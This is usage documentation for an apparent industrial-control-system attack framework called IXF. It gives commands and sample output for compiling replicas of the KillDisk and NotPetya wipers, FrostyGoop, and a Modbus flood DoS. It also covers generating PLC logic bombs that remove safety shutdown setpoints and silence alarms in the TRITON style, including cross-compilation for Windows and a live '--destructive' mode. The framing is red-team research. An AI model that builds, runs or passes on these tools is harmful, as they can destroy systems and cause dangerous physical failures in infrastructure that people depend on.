PolyExploit Runner

IXF follows a Python-First policy: all core functionality runs with pip install. External runtimes (C, C++, Go, Ruby, Java, Node.js, PowerShell) are optional accelerators — IXF always provides a Python fallback.

The PolyExploitRunner class handles detection, compilation, and execution of non-Python artifacts.

Runtime Tiers

Tier	Type	Examples	Required?
0	Python stdlib	socket, struct, subprocess	Always
1	pip install	scapy, requests, paramiko	Yes (auto-installed)
2	pip extras	pymodbus, asyncua, python-can	Optional
3	External runtimes	gcc, g++, go, node, java, ruby, pwsh	Optional — Python fallback always available

Supported Runtimes

Runtime	Language	Purpose in IXF
`gcc`	C	Compile KillDisk, Modbus flood DoS
`g++`	C++	Compile NotPetya wiper, S7 watchdog bypass
`go`	Go	Compile FrostyGoop extended
`node`	JavaScript/TypeScript	JS/TS exploit modules
`java` / `javac`	Java	Java deserialization exploits
`ruby`	Ruby	Ruby-based protocol exploits
`pwsh` / `powershell`	PowerShell	Windows OT/EWS exploitation
`perl`	Perl	Legacy ICS scripts

Checking Available Runtimes

python tools/env_doctor.py

Output (Tier 3 section):

[Tier 3 — External runtimes]
  ruby      not found  OPTIONAL
  node      OPTIONAL   https://nodejs.org/
  java      OPTIONAL   https://adoptium.net/
  gcc       OK         4.3 MB
  g++       OK         4.3 MB
  go        OK         go1.22
  pwsh      not found  github.com/PowerShell/PowerShell
  perl      OK         v5.38.0

Native Malware Builder

IXF ships with C/C++/Go/Python malware TTP replicas. The malware_builder.py tool compiles them for testing.

List Available Targets

python industrialxpl/modules/cve/malware/_native/malware_builder.py --list

Output:

[IXF Malware Builder] Compilers:
  gcc       : OK
  g++       : OK
  go        : OK
  mingw     : not found
  cl.exe    : not found

[IXF Malware Builder] Targets:
  killdisk             [C]     CATASTROPHIC  BlackEnergy3/Industroyer KillDisk — MBR wiper
  notpetya             [CPP]   CATASTROPHIC  NotPetya MBR overwrite + fake ransom note
  frostygoop           [GO]    CRITICAL      FrostyGoop Modbus heating attack (Go, goroutines)
  modbus_flood         [C]     HIGH          Modbus TCP flood DoS (multi-threaded C)
  s7_watchdog          [CPP]   HIGH          Siemens S7 watchdog bypass via S7comm keepalives

  Output: .tmp/malware_builds/

Compile a Target

# Compile KillDisk (C) for Linux
python industrialxpl/modules/cve/malware/_native/malware_builder.py --target killdisk

# Output:
# [BUILD] Compiling killdisk...
#   [OK] .tmp/malware_builds/killdisk (24 KB) via gcc

# Cross-compile for Windows (requires MinGW)
python industrialxpl/modules/cve/malware/_native/malware_builder.py --target killdisk --cross-windows

# Compile all targets
python industrialxpl/modules/cve/malware/_native/malware_builder.py --all

Running Compiled Artifacts

All compiled artifacts default to simulate mode:

# KillDisk — simulate (no disk writes)
.tmp/malware_builds/killdisk --simulate

# Output:
#   [IXF] KillDisk MBR Wiper — BlackEnergy3/Industroyer Replica
#   [SIMULATION — no disk writes]
#   Phase 1: Would target MBR (sector 0) of primary disk
#   Phase 2: Would overwrite 512 bytes with 0x00 pattern
#   Phase 3: System becomes permanently unbootable
#   Phase 4: Files would be recursively overwritten with garbage

# FrostyGoop extended — simulate Modbus heating attack
.tmp/malware_builds/frostygoop --target 192.168.1.100 --simulate

# Live mode requires triple confirmation
.tmp/malware_builds/killdisk --destructive

PLC Logic Bomb Generator

Generate valid IEC 61131-3 Structured Text with embedded malicious logic. For red team exercises and PLC code audit training.

python industrialxpl/modules/cve/malware/_native/plc_logic_bomb_st.py --help

Types

Type	Description
`timebomb`	Time-delayed activation (motor runaway at trigger date)
`setpoint`	TRITON-style safety limit removal
`backdoor`	Hidden register-triggered backdoor rung

Time Bomb Example

python industrialxpl/modules/cve/malware/_native/plc_logic_bomb_st.py \
  --type timebomb \
  --trigger-date 2025-12-31 \
  --simulate

# Output (simulate mode — no file written):
#   *** WARNING: FOR AUTHORIZED RED TEAM / SECURITY RESEARCH ONLY ***
#   [SIMULATE] timebomb — 1,247 chars of IEC 61131-3 ST
#
#   (* Logic Bomb — activates on 2025-12-31
#      IF dt_now >= dt_trigger THEN
#          alarm_ack := TRUE;  (* T0880: silence alarms *)
#          motor_setpoint := 9999;  (* T0836: unsafe setpoint *)
#          ...

# Write full .st file (destructive mode — authorized labs only)
python industrialxpl/modules/cve/malware/_native/plc_logic_bomb_st.py \
  --type setpoint \
  --destructive \
  --output .tmp/malicious_setpoint.st

Setpoint Manipulation Example (TRITON technique)

python industrialxpl/modules/cve/malware/_native/plc_logic_bomb_st.py \
  --type setpoint --destructive --output .tmp/triton_setpoint.st

The generated .st file implements the TRITON/TRISIS technique: raises safety system shutdown setpoints above design limits while suppressing alarms, preventing emergency shutdown.